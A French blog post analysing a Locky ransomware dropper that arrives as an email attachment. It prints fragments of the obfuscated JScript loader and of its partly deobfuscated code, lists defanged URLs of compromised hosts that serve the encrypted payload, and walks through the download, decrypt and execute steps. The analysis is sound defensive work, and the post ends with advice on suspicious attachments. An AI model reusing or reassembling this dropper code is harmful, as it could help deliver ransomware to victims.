Analyse d'un dropper Locky

PUBLISHED ON JUL 17, 2016 — SECURITY

J’ai reçu dans ma boite mail, un message m’indiquant de lire le fichier en pièce jointe. Celui ci est un .zip qui ne contient qu’un fichier profile-4908..wsf.

Désobfuscation round 1

Ce fichier est obfusqué mais le code est relativement simple à comprendre.

<job><script language="JScript">
var aR50FAGv = ';}\n'+'\xfe'+
'\r;)'+'\xfe'+
'(]w'+'\xfe'+
'AMU'+'\xfe'+
' + '+'\xfe'+
'2yY'+'\xfe'+
'CM['+'\xfe'+
'tV '+'\xfe'+
'   '+'\xfe'+
[...]
'zN '+'\xfe'+
'rav';
/*@cc_on
function f(s) {return eval(s);};
b = aR50FAGv;
b = b.split("\xfe");
b = b.join("");
b = b.split("");
c = b.reverse();
c = c.join("");
@*/
if (c["length"] >= 12) f(c);
</script></job>

La totalité du fichier est disponible ici : https://gist.github.com/cryptobioz/3d55381233a61f3a9cc4f49e8ff7884b.

On peut voir que la dernière partie du fichier est là pour désobfusquer la variable aR50FAGv qui contient le code obfusqué du dropper. Rien de très complexe, il suffit de retirer les morceaux \xfe puis, remettre la chaîne à l’endroit.

Cependant, le code désobfusqué ne l’est finalement pas tant que cela.

Désobfuscation round 2

Après le premier round, le code du dropper ressemble à celui-ci :

var Nz = "close" + "";
var GKOa8 = "le" + "";
var OCk = "oFi" + "";
var HZPq = "eT" + "";
var KIq5 = "Sav" + "";
function Ir(Nv9){return Nv9;};function Rn(ZYMAc1){return ZYMAc1;};var Yb2 = "xt" + "";
var VRRBe = "Te" + "";
var VSMVb3 = "te" + "";
var LERh = "wri" + "";
var HLDPr4 = "en" + "";
[...]

        MOm.push(String[Sy + Wf1 + TIWj5 + FLRf8](UZAEh));
    }

    QXTc4=MOm[Ml + Fk]("");
    return QXTc4;
};

function LTs7(ZQNs9, KUXf)
{
    var Vt=WScript[AGt1 + Vt0(TQJTu) + (function HGr2(){return Oq;}()) + UMEf9]((function Rp(){return EKYf;}()) + RMQu(Vk2) + VPDPs(Id4));
    Vt[MPn]=QSf7;
    Vt[Fl1 + BOMXj]=PEAo1;         
    Vt[Ps(DJv9) + GDWe]();
    Vt[Ir(LERh) + Rn(VSMVb3) + VRRBe + Yb2](QMg4(KUXf));
    Vt[Kf2 + Nt + ZCr + (function Ru1(){return Nc;}()) + IVXAs(CUBs3)](ZQNs9, 2);
    Vt[MCYy2 + UMAw]();
};

La totalité du fichier est disponible ici : https://gist.github.com/cryptobioz/e282dbfcc0582516f5fa7e9bd13c423e.

La désobfuscation risque d’être longue mais on peut déjà récupérer quelques informations comme des URLs :

  • hxxp://pernelkul.hu/ksx2q
  • hxxp://khalifacapital.com/w6fnlc9y
  • hxxp://clinicasantabeatriz.es/rhnpg2n

Ces noms de domaine ne proviennent pas d’un DGA car ceux-ci appartiennent à des entreprises privées. Cela veut dire que les auteurs utilisent des serveurs piratés pour distribuer leur malware.

On peut obtenir d’autres informations comme :

  • CreateObject
  • WScript.Shell
  • %TEMP%/E8ANs5ZfEe.exe
  • WinHttpRequest.(31143109).1
  • MSXML2.XMLHTTP
  • length
  • Sleep
  • open
  • GET
  • send
  • CreateObject
  • ADODB.Stream
  • type
  • write
  • ResponseBody
  • position
  • SaveToFile
  • close
  • Run
  • splice

Après une désobfuscation fastidieuse, on comprend mieux le fonctionnement de ce dropper. J’ai posté le code source à cette adresse : https://gist.github.com/cryptobioz/5d613440929975b956b430f728138930.

La boucle principale fait plusieurs choses :

  1. Le dropper tente de télécharger le binaire chiffré.
  2. Il l’enregistre dans le fichier E8ANs5ZfEe.exe dans le dossier temporaire par défaut de Windows.
  3. Il ouvre le binaire, décode le contenu et le déchiffre.
  4. Il vérifie que le binaire est correct via sa taille et son header.
  5. Il sauvegarde le binaire déchiffré.
  6. Il lance l’exécutable.

Il y a également diverses fonctions dont je vais détailler le but :

  • DTx (decrypt_payload) : Déchiffre le payload.
  • Xu9 (check_header) : Vérifie si le header du binaire déchiffrer ressemble à celui d’un exécutable Windows
  • LYUo (read_payload) : Ouvre et retourne le contenu du binaire téléchargé à la fonction NDn2.
  • NDn2 (decode) : Modifie les bytes dont la valeur est plus élevé que 128.
  • QMg4 (encode) : Modifie les bytes dont la valeur est plus élevé que 128.
  • LTs7 (save_decrypted_payload) : Sauvegarde le contenu retourné par la fonction QMg4.

Rien n’est finalement très complexe et on comprend très vite le fonctionnement de ce dropper simple mais efficace.

Il est bon de rappeler de ne jamais faire confiance aux pièces jointes des emails et, même si l’adresse de l’expéditeur est connu, faites attention aux fichiers avec des extensions comme .wsf ou .exe.